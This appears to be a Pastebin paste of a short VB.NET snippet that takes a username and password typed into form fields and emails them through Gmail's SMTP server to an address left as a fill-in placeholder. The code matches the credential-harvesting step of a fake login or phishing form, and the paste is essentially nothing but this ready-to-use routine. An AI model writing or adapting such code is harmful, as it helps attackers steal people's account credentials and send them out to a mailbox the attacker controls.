Guest User

Untitled

a guest
Jul 10th, 2018
151
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.48 KB | None | 0 0
  1. Dim msg As String
  2.  
  3. msg = "Username: " + un.Text + vbNewLine + "Password: " + pw.Text
  4. Dim message As System.Net.Mail.MailMessage
  5. Dim smtp As New System.Net.Mail.SmtpClient("smtp.gmail.com", 587)
  6. message = New System.Net.Mail.MailMessage("EMAIL HERE", "<-- DUPLICATE", "TITLE", msg)
  7. smtp.EnableSsl = True
  8. smtp.Credentials = New System.Net.NetworkCredential("EMAIL HERE ASWELL", "PASSWORD HERE.")
  9. smtp.Send(message)
Add Comment
Please, Sign In to add comment